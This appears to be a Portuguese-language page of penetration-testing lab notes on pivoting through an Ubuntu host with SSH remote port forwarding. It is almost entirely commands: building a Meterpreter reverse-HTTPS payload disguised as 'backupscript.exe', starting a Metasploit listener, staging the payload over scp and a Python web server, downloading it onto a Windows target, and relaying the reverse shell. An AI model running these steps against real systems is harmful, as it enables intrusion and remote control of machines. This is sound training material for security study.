Remote/Reverse Port Forwarding with SSH
Como pode ser visto na imagem abaixo, em nosso caso anterior, poderíamos fazer pivot no host Windows por meio do servidor Ubuntu.

Criando um Payload do Windows com msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
Configurando e iniciando o multi/handler
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run
Transferindo carga útil para o host Pivot
scp backupscript.exe ubuntu@<ipAddressofTarget>:~/
Iniciando o servidor Web Python3 no Pivot Host
python3 -m http.server 8123
Baixando Payload do Windows Target
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
Usando SSH -R
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
Após criar o encaminhamento de porta remota SSH, podemos executar o payload do alvo do Windows. Se o payload for executado conforme o esperado e tentar se conectar de volta ao nosso listener, podemos ver os logs do pivot no host do pivot.
Se tudo estiver configurado corretamente, receberemos um shell do Meterpreter dinamizado pelo servidor Ubuntu.
PreviousDynamic Port Forwarding with SSH and SOCKS TunnelingNextMeterpreter Tunneling & Port Forwarding
Last updated